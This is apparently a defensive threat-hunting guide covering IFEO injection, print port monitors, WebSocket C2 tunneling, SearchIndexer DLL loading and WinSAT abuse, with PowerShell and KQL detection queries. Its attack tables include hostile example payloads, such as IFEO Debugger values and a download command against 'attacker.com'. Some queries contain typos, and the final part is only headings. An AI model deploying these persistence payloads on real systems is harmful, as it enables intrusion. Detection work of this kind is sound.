- Establish persistence by injecting malicious binaries.
- Redirect application execution to malicious payloads.

📑 Why Do Attackers Use IFEO Injection?

Persistence: Payloads execute every time the targeted application runs.
Stealth: Abuses legitimate debugging mechanisms.
Execution Control: Replace or redirect legitimate processes.
Low Detection Rate: Often ignored by traditional antivirus tools.

📌 Common Attack Scenarios

Technique

Registry Key

Example Payload

Debugger Hijacking

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe

Debugger = C:\Malicious\payload.exe

Application Redirection

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe

Debugger = powershell.exe -ExecutionPolicy Bypass -EncodedCommand <payload>

Persistence Mechanism

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe

Debugger = cmd.exe /c start malicious.exe

DLL Hijacking

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe

Debugger = rundll32.exe C:\malicious.dll

🛡️ 2. Detection Techniques

📊 🕵️ List IFEO Registry Keys

Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" |
Select-Object Name

🕵️ Search for Debugger Entries

Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger } |
Select-Object PSChildName, Debugger

🕵️ Inspect User-Level IFEO Keys

سختحريرGet-ChildItem -Path "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger } |
Select-Object PSChildName, Debugger

🕵️ Check for Suspicious Debugger Paths

Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger -match "cmd.exe|powershell.exe|rundll32.exe" } |
Select-Object PSChildName, Debugger

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious IFEO Registry Modifications

DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueName == "Debugger"
| where RegistryValueData contains "cmd.exe" or RegistryValueData contains "powershell.exe" or RegistryValueData contains "rundll32.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Trace IFEO Modifications by Processes

DeviceProcessEvents
| where ProcessCommandLine contains "reg add" and ProcessCommandLine contains "Image File Execution Options"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Application Execution via IFEO Hijacking

DeviceProcessEvents
| where FileName in ("notepad.exe", "explorer.exe", "svchost.exe", "winlogon.exe")
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify IFEO Persistence Mechanisms

DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueName == "Debugger"
| where RegistryValueData contains "malicious.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

New process created (cmd.exe, powershell.exe, rundll32.exe).

4663

Registry key access detected.

4104

PowerShell script block execution.

7045

A new service was installed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: cmd.exe /c "malicious.exe"
ParentProcessName: explorer.exe

📌 Focus on Event ID 4663:

Registry access:

RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

🕵️ 3. Investigation Techniques

1️⃣ Validate IFEO Entries

Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -Recurse |
Get-ItemProperty | Where-Object { $_.Debugger }

2️⃣ Inspect Associated Binaries

Verify integrity of payloads:

Get-FileHash -Path "C:\Malicious\payload.exe"

3️⃣ Trace Parent-Child Process Trees

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

🔧 4. Remediation Steps

📌 1. Remove Malicious IFEO Registry Entries

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" -Name "Debugger"

📌 2. Validate Application Paths

Ensure legitimate binaries are in the expected paths.

📌 3. Audit Registry Access

Enable Registry Auditing for IFEO keys.

📌 4. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable Command Line Auditing: Monitor reg add commands.
Restrict Registry Access: Limit access to IFEO registry keys.
Monitor Event Logs: Focus on 4688, 4663, 7045.
Implement EDR Policies: Block suspicious registry modifications.
Enable Behavior-Based Detection: Identify abnormal parent-child relationships.

🧠 6. Key Takeaways

Monitor IFEO Keys: Regularly audit Debugger values.
Event Focus: Look at 4688, 4663, and 7045.
Verify Parent-Child Processes: Look for unexpected process launches.
Enable Behavioral Analytics: Detect anomalies in registry access.

🚨 Port Monitors (Registry): Advanced Threat Analysis

🔍 1. Attack Breakdown

📝 What are Port Monitors?

Port Monitors are Windows components that handle print jobs sent to printers via defined ports.
They are configured in the Windows Registry and are often legitimate but can be abused by attackers for persistence and code execution.

📑 Why Do Attackers Abuse Port Monitors?

Persistence: Automatically execute malicious code on system startup.
Stealth: Blend in with legitimate printer operations.
Evasion: Often overlooked by antivirus and security tools.
Arbitrary Code Execution: Run payloads every time a print job is initiated.

📌 Common Registry Paths for Port Monitors

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3

📌 Common Attack Scenarios

Technique

Registry Key

Example Payload

Malicious DLL as Port Monitor

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MaliciousMonitor

C:\Windows\Temp\malicious.dll

Persistence via Print Spooler Service

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MonitorName\Driver

C:\Windows\Temp\payload.dll

Arbitrary DLL Execution

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\AttackMonitor

powershell -c "Invoke-WebRequest http://attacker.com/payload.exe"

Hijacking Legitimate Monitors

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port

C:\Windows\Temp\exploit.dll

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List All Registered Port Monitors

Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | Select-Object Name

🕵️ Inspect Port Monitor DLL Paths

Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -Recurse |
Get-ItemProperty | Select-Object PSChildName, Driver

🕵️ Identify Suspicious DLL Locations

Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -Recurse |
Get-ItemProperty | Where-Object { $_.Driver -match "Temp|Public|AppData" } |
Select-Object PSChildName, Driver

🕵️ Check for Recent Modifications

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | 
Select-Object PSChildName, LastWriteTime

🕵️ Verify Loaded Monitor DLLs in Memory

Get-Process -Name spoolsv | Select-Object -ExpandProperty Modules |
Where-Object { $_.FileName -like "*.dll" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Port Monitor Modifications

DeviceRegistryEvents
| where RegistryKey contains "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors"
| where RegistryValueName == "Driver"
| where RegistryValueData contains "Temp" or RegistryValueData contains "Public"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Identify Suspicious DLLs Loaded by Spooler Service

DeviceFileEvents
| where InitiatingProcessFileName == "spoolsv.exe"
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, FileName, AccountName

🕵️ Monitor Registry Changes in Port Monitors

DeviceRegistryEvents
| where RegistryKey contains "Print\\Monitors"
| where ActionType == "RegistryValueSet"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Trace DLL Execution via Print Spooler

DeviceProcessEvents
| where ParentProcessFileName == "spoolsv.exe"
| where FileName endswith ".dll"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Identify Unauthorized Port Monitor Additions

DeviceRegistryEvents
| where RegistryKey contains "Print\\Monitors"
| where RegistryValueName == "Driver"
| where RegistryValueData !contains "System32"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

New process created (spoolsv.exe).

4663

Registry key access detected (Print\Monitors).

7045

A new service was installed.

7036

Print Spooler service state change.

📌 Focus on Event ID 4663:

Look for:

RegistryKey: HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors

📌 Focus on Event ID 7045:

A new DLL/service is loaded into Print Spooler:

ServiceName: Spooler
BinaryPath: C:\Windows\Temp\malicious.dll

🕵️ 3. Investigation Techniques

1️⃣ Verify Port Monitor DLL Integrity

Get-FileHash -Path "C:\Windows\Temp\malicious.dll"

Compare hash on VirusTotal.

2️⃣ Check Loaded DLLs in Spooler Process

(Get-Process spoolsv).Modules | Where-Object { $_.FileName -like "*.dll" }

3️⃣ Analyze Registry Modifications

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors"

🔧 4. Remediation Steps

📌 1. Remove Malicious Port Monitor Entries

Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\MaliciousMonitor" -Recurse

📌 2. Restart Print Spooler Service

Stop-Service -Name Spooler -Force
Start-Service -Name Spooler

📌 3. Remove Suspicious DLLs

Remove-Item -Path "C:\Windows\Temp\malicious.dll" -Force

📌 4. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Monitor Registry Changes: Enable auditing for Print\Monitors keys.
Restrict Registry Access: Limit administrative access to Port Monitor keys.
Monitor Print Spooler Activity: Regularly review spoolsv.exe behavior.
Implement EDR Rules: Detect unauthorized Port Monitor additions.
Review Event Logs Regularly: Focus on 4688, 4663, 7045.

🧠 6. Key Takeaways

Focus on Registry Keys: Print\Monitors for unauthorized DLLs.
Monitor Event IDs: 4688, 4663, 7045.
Trace Suspicious Processes: Any non-system DLLs loaded by spoolsv.exe.
Regular Audits: Ensure no unauthorized registry modifications exist

🚨 Potential Tunneled Communication via WebSocket Connection: Advanced Threat Analysis

🔍 1. Attack Breakdown

📝 What is WebSocket?

WebSocket is a communication protocol that provides full-duplex communication channels over a single TCP connection.
It is commonly used for:
- Real-time applications: Chat apps, stock trading platforms, etc.
- Low-latency connections: For persistent client-server connections.

📑 Why Do Attackers Use WebSocket for Tunneling?

Evasion: Traffic looks like legitimate application communication.
Persistence: Persistent connection for long-term access.
Stealth: Harder to detect due to encryption and regular WebSocket behavior.
Data Exfiltration: Data can be extracted via WebSocket frames.
Command and Control (C2): Establish persistent backdoor communications.

📌 Common Attack Scenarios

Technique

Description

Example Indicator

WebSocket C2 Channel

Malicious C2 server over WebSocket.

ws://malicious.com/c2

Data Exfiltration via WebSocket

Extract data via WebSocket frames.

wss://attacker.com/exfil

WebSocket Beaconing

Regular communication to avoid detection.

ws://hidden-server.com:8080

Fileless Malware Execution

Execute commands via WebSocket without dropping files.

ws://attack.com/command

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List Active WebSocket Connections

Get-NetTCPConnection | Where-Object { $_.RemotePort -eq 80 -or $_.RemotePort -eq 443 } | Format-Table

🕵️ Check Processes with Active WebSocket Communication

Get-Process | Where-Object { $_.Modules -match "websocket" } | Select-Object Id, ProcessName, Path

🕵️ Inspect Suspicious PowerShell Processes

Get-EventLog -LogName Security | Where-Object { $_.Message -like "*powershell*" -and $_.Message -like "*Invoke-WebRequest*" }

🕵️ Check for Suspicious Outbound WebSocket Communication

netstat -ano | findstr :80 :443

🕵️ Identify Processes Using WebSocket Libraries

Get-ChildItem -Path "C:\Windows\System32" -Recurse -Include *.dll | Where-Object { $_.Name -like "*websocket*" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect WebSocket Communication by Suspicious Processes

DeviceNetworkEvents
| where RemotePort in (80, 443)
| where Protocol == "WebSocket"
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName

🕵️ Identify WebSocket Communication to Unusual Domains/IPs

DeviceNetworkEvents
| where Protocol == "WebSocket"
| where RemoteUrl contains ".onion" or RemoteIP != "127.0.0.1"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName

🕵️ Trace Beaconing Patterns over WebSocket

DeviceNetworkEvents
| where Protocol == "WebSocket"
| summarize count() by RemoteIP, RemoteUrl, DeviceName
| where count > 10
| order by count desc

🕵️ Monitor Outbound WebSocket Traffic to Suspicious Hosts

kDeviceNetworkEvents
| where Protocol == "WebSocket"
| where RemoteIP in ("192.168.1.100", "10.10.10.10")
| project Timestamp, DeviceName, RemoteIP, ProcessCommandLine, AccountName

🕵️ Detect Encoded Commands in WebSocket Frames

DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

,📊 Event Viewer Logs

Event ID

Description

4688

New process created (powershell.exe, cmd.exe).

5156

Network connection allowed.

4663

Object access attempt.

4104

PowerShell script block execution.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: powershell.exe -c "Invoke-WebRequest ws://malicious.com"
ParentProcessName: explorer.exe

📌 Focus on Event ID 5156:

Identify outbound WebSocket connections:
```
RemoteAddress: malicious.com
Port: 80/443
```

🕵️ 3. Investigation Techniques

1️⃣ Inspect WebSocket Connections

netstat -anob | findstr "80 443"

2️⃣ Trace WebSocket Processes

Get-Process -Id <PID>

3️⃣ Analyze Traffic Logs

Use Wireshark or Tshark:

tshark -Y "websocket"

🔧 4. Remediation Steps

📌 1. Terminate Suspicious Processes

Stop-Process -Id <PID> -Force

📌 2. Block Malicious IPs or Domains

New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block

📌 3. Inspect Configuration Files

Review AppData, Temp, and startup locations.

📌 4. Clear DNS Cache

Clear-DnsClientCache

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable WebSocket Monitoring: Ensure SIEM monitors WebSocket connections.
Restrict PowerShell Execution Policies: Apply restrictive PowerShell policies.
Enable Command Line Auditing: Capture ws:// and wss:// usage.
Monitor Beaconing Patterns: Use behavioral analytics to detect periodic communication.
User Education: Train staff to recognize malicious URLs.

🧠 6. Key Takeaways

Monitor WebSocket Traffic: Especially outbound connections on port 80/443.
Focus on Event IDs: 4688, 5156, 4104.
Identify Parent-Child Anomalies: Unusual PowerShell execution with ws://.

🚨 Unusual DLL Load by Indexer

🔍 1. Attack Breakdown

📝 What is the Windows Indexer (`SearchIndexer.exe`)?

SearchIndexer.exe is a legitimate Windows process responsible for indexing files and folders to enable fast searches on the system.
It is located in:
- C:\Windows\System32\SearchIndexer.exe
The process interacts with various DLL files to perform indexing tasks.

📑 Why Do Attackers Target `SearchIndexer.exe`?

Trusted Binary: Signed by Microsoft and often ignored by security tools.
Living Off the Land (LoTL): Abuse legitimate processes to avoid detection.
Stealth: DLL injection hides malicious activity under a legitimate process.
Persistence: Loaded DLLs can maintain persistence across reboots.
Privilege Escalation: Exploit misconfigurations for elevated privileges.

📌 Common Attack Scenarios

Technique

Description

Example Indicator

DLL Side-Loading

Place a malicious DLL in a directory indexed by SearchIndexer.exe.

C:\Windows\Temp\malicious.dll

DLL Hijacking

Replace or hijack legitimate DLLs.

C:\Windows\System32\legit.dll → malicious.dll

Persistence via Registry Key

Set SearchIndexer.exe to load malicious DLLs.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Reflective DLL Injection

Inject a DLL directly into SearchIndexer.exe.

rundll32.exe malicious.dll

Code Execution via DLL Proxying

Redirect legitimate DLL calls to malicious payloads.

C:\Users\Public\fake.dll

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List Loaded DLLs by SearchIndexer

Get-Process -Name SearchIndexer | Select-Object -ExpandProperty Modules | Select-Object FileName

✅ Expected Directories: C:\Windows\System32\
❌ Suspicious Directories: C:\Temp\, C:\Users\Public\

🕵️ Identify DLLs Recently Loaded by SearchIndexer

Get-EventLog -LogName Security | Where-Object { $_.Message -like "*SearchIndexer.exe*" -and $_.Message -like "*.dll*" }

🕵️ Inspect Parent-Child Relationship

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "SearchIndexer.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine

✅ Expected Parent: services.exe
❌ Unexpected Parent: cmd.exe, powershell.exe

🕵️ Check DLLs in Suspicious Paths

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Filter "*.dll" -Recurse

🕵️ Check for Suspicious DLL Registry Entries

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe"

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Unusual DLL Loaded by SearchIndexer

DeviceImageLoadEvents
| where InitiatingProcessFileName == "SearchIndexer.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, AccountName

🕵️ Trace Suspicious DLL Load Attempts

DeviceFileEvents
| where InitiatingProcessFileName == "SearchIndexer.exe"
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Identify Registry Persistence via DLL Load

DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| where RegistryValueData contains "SearchIndexer.exe"
| where RegistryValueData contains ".dll"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Trace DLL Side-Loading Behavior

DeviceImageLoadEvents
| where FileName endswith ".dll"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (SearchIndexer.exe).

4663

Object access attempt (e.g., DLL access).

7036

Service state changed.

7045

A new service was installed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: SearchIndexer.exe C:\Temp\malicious.dll
ParentProcessName: services.exe

📌 Focus on Event ID 4663:

Registry key access:

RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

🕵️ 3. Investigation Techniques

1️⃣ Validate DLL Hashes

Get-FileHash -Path "C:\Temp\malicious.dll"

Compare hash on VirusTotal.

2️⃣ Trace Parent-Child Relationships

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

3️⃣ Review Recent File Changes

Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Recurse | Sort-Object LastWriteTime -Descending

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Id <PID> -Force

📌 2. Remove Malicious DLL Files

Remove-Item -Path "C:\Temp\malicious.dll" -Force

📌 3. Remove Malicious Registry Entries

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe" -Name "Debugger"

📌 4. Restart Search Indexer Service

Restart-Service -Name WSearch

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Monitor DLL Loading Paths: Restrict DLL loading from non-standard locations.
Enable Command Line Auditing: Track unusual execution arguments.
Restrict Registry Access: Limit access to Image File Execution Options.
Monitor Event Logs: Focus on 4688, 4663, 7045.
Enable Behavioral Analytics: Use EDR tools to detect anomalies.

🧠 6. Key Takeaways

Focus on DLL Paths: Validate SearchIndexer.exe DLL paths.
Monitor Event IDs: 4688, 4663, 7045.
Parent-Child Analysis: Validate services.exe as the parent process.

🚨 WinSAT Bypass – Privilege Escalation via File Change: Advanced Threat Analysis

🔍 1. Attack Breakdown

📝 What is `WinSAT.exe`?

WinSAT.exe (Windows System Assessment Tool) is a legitimate Windows tool used to assess system performance and capabilities.
It is located at: C:\Windows\System32\WinSAT.exe
It typically runs with elevated privileges, making it a target for privilege escalation attacks.

📑 Why Do Attackers Target `WinSAT.exe`?

Trusted Binary: Signed by Microsoft and trusted by security tools.
Privilege Escalation: Runs with SYSTEM-level privileges.
Abuse DLL Search Order Hijacking: Loads DLLs from insecure paths.
File Change Vulnerability: Can be manipulated to execute arbitrary code.
Living Off the Land (LotL): Utilizes built-in tools to avoid detection.

📌 Common Attack Scenarios

Technique

Description

Example Indicator

DLL Hijacking

Place a malicious DLL in System32 or another search path.

C:\Windows\Temp\malicious.dll

File Change in Insecure Paths

Modify files loaded by WinSAT.exe.

C:\Temp\legit.dll → malicious.dll

Symlink Attack

Point critical files to attacker-controlled files.

mklink C:\Windows\Temp\config.ini C:\Malicious\config.ini

Hijack WinSAT Execution Flow

Abuse WinSAT execution flow to run malicious code.

winsat.exe disk -drive c:

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Check WinSAT Execution History in Security Logs

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*winsat.exe*" }

🕵️ List All DLLs Loaded by WinSAT

Get-Process -Name WinSAT | Select-Object -ExpandProperty Modules | Select-Object FileName

✅ Expected Path: C:\Windows\System32\
❌ Suspicious Paths: C:\Temp\, C:\Users\Public\

🕵️ Check for Modified DLLs in System Directories

Get-ChildItem -Path "C:\Windows\System32", "C:\Temp" -Filter "*.dll" -Recurse | Sort-Object LastWriteTime -Descending

🕵️ Trace Parent-Child Relationship for WinSAT

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "winsat.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine

✅ Expected Parent: services.exe
❌ Unexpected Parent: cmd.exe, powershell.exe

🕵️ Check for Symlink Exploitation

Get-ChildItem -Path "C:\Windows\Temp" -Recurse | Where-Object { $_.Attributes -match "ReparsePoint" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect WinSAT Executed from Suspicious Paths

DeviceProcessEvents
| where FileName == "winsat.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace DLLs Loaded by WinSAT

DeviceImageLoadEvents
| where InitiatingProcessFileName == "winsat.exe"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, AccountName

🕵️ Identify File Modifications by WinSAT

DeviceFileEvents
| where InitiatingProcessFileName == "winsat.exe"
| where ActionType == "FileModified"
| where FolderPath contains "Temp"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Trace Parent Processes for WinSAT

DeviceProcessEvents
| where FileName == "winsat.exe"
| where ParentProcessName != "services.exe"
| project Timestamp, DeviceName, ParentProcessName, ProcessCommandLine, AccountName

🕵️ Detect Symlink Attacks

DeviceFileEvents
| where FolderPath contains "Temp"
| where ActionType == "FileModified"
| where FileName contains ".lnk"
| project Timestamp, DeviceName, FileName, FolderPath, AccountNameDeviceName, Timestamp

📊 Event Viewer Logs

Event ID

Description

4688

New process created (WinSAT.exe).

4663

Object access attempt (e.g., DLL access).

7045

A new service was installed.

5145

A network share object was accessed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: WinSAT.exe C:\Temp\malicious.dll
ParentProcessName: cmd.exe

📌 Focus on Event ID 4663:

Registry or file access:

RegistryKey: HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

🕵️ 3. Investigation Techniques

1️⃣ Validate DLL Hashes

Get-FileHash -Path "C:\Temp\malicious.dll"

Compare hash on VirusTotal.

2️⃣ Inspect WinSAT Configurations

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winsat.exe"

3️⃣ Check Symlinks in Temp Directory

fsutil reparsepoint query "C:\Windows\Temp"

🔧 4. Remediation Steps

📌 1. Terminate Malicious WinSAT Processes

Stop-Process -Name WinSAT -Force

📌 2. Remove Malicious DLL Files

Remove-Item -Path "C:\Temp\malicious.dll" -Force

📌 3. Remove Malicious Registry Entries

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe" -Name "Debugger"

📌 4. Reset Permissions on Critical Directories

icacls "C:\Windows\Temp" /inheritance:r

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable Command Line Auditing: Monitor WinSAT.exe executions.
Restrict DLL Search Paths: Prevent loading DLLs from untrusted locations.
Monitor Registry Keys: Image File Execution Options.
Enable Behavioral Analytics: Detect unusual parent-child processes.
Restrict Write Access: Limit access to System32 and Temp.

🧠 6. Key Takeaways

Validate DLL Paths: Ensure DLLs used by WinSAT.exe are from trusted locations.
Focus on Event IDs: 4688, 4663, 7045.
Trace Parent-Child Relationships: Validate services.exe as the parent process.

PreviousPart 6

Last updated 1 month ago

🚨 PowerShell Invocation from Registry

🔍 1. Attack Breakdown

📝 What is PowerShell Invocation from Registry?

📑 Why Do Attackers Use the Registry for PowerShell Invocation?

📌 Common Attack Scenarios

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

📊 Event Viewer Logs

🕵️ 3. Investigation Techniques

1️⃣ Inspect Specific Registry Keys

2️⃣ Trace PowerShell Commands via Sysmon Logs

3️⃣ Analyze Process Tree

🔧 4. Remediation Steps

📌 1. Remove Malicious Registry Keys

📌 2. Disable Registry Editing for Non-Admin Users

📌 3. Monitor Registry Changes Continuously

📌 4. Perform Full Antivirus Scan

🛡️ 5. Prevention Steps

🧠 6. Key Takeaways

🚨 Unusual ie4uinit Process Path

🔍 1. Attack Breakdown

📝 What is ie4uinit.exe?

📑 Why Do Attackers Abuse ie4uinit.exe?

📌 Common Attack Scenarios

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

📊 Event Viewer Logs

🕵️ 3. Investigation Techniques

1️⃣ Trace Unusual Process Paths

2️⃣ Analyze Parent Process

3️⃣ Check Registry for Persistence

🔧 4. Remediation Steps

📌 1. Terminate Malicious Process

📌 2. Remove Malicious Files

📌 3. Delete Malicious Registry Keys

📌 4. Perform Full Antivirus Scan

🛡️ 5. Prevention Steps

🧠 6. Key Takeaways

🚨 Exploit Guard Network Protection Blocked Event:

🔍 1. Attack Breakdown

📝 What is Exploit Guard Network Protection?

📑 Why is Network Protection Blocked?

📌 Common Attack Scenarios

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

📊 Event Viewer Logs

🕵️ 3. Investigation Techniques

1️⃣ Trace Process Responsible for Blocked Activity

2️⃣ Inspect Command Line Arguments

3️⃣ Analyze Remote URLs and IPs

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

📌 2. Block Malicious IPs or Domains

📌 3. Remove Malicious Scheduled Tasks or Startup Entries

📌 4. Review User Activity

📌 5. Perform Full Antivirus Scan

🛡️ 5. Prevention Steps

🧠 6. Key Takeaways

🚨 Privilege Elevation (Linux & macOS):

🔍 1. Attack Breakdown

📝 What is Privilege Elevation?

📑 Why Attackers Seek Privilege Elevation?

📌 Common Privilege Elevation Techniques

🛡️ 2. Detection Techniques

📊 Linux Detection Techniques

📊 macOS Detection Techniques

📊 SIEM Detection Queries

📊 Linux SIEM Query (ELK, Splunk)

📊 macOS SIEM Query (Splunk, ELK)

🛡️ 3. Investigation Techniques

1️⃣ Trace Privilege Escalation Attempts

2️⃣ Analyze Exploit Attempts

3️⃣ Review New Cron Jobs

🔧 4. Remediation Steps

📌 1. Remove Malicious Cron Jobs

📌 2. Revert Permissions

📌 3. Disable Suspicious LaunchAgents

📝 What is `ie4uinit.exe`?

📑 Why Do Attackers Abuse `ie4uinit.exe`?

🚨 Credential Dumping Using `sqlcmd.exe`

📝 What is `sqlcmd.exe`?

📑 Why Do Attackers Abuse `sqlcmd.exe`?

📝 What is `Winlogon.exe`?

📑 Why Do Attackers Abuse `Winlogon.exe`?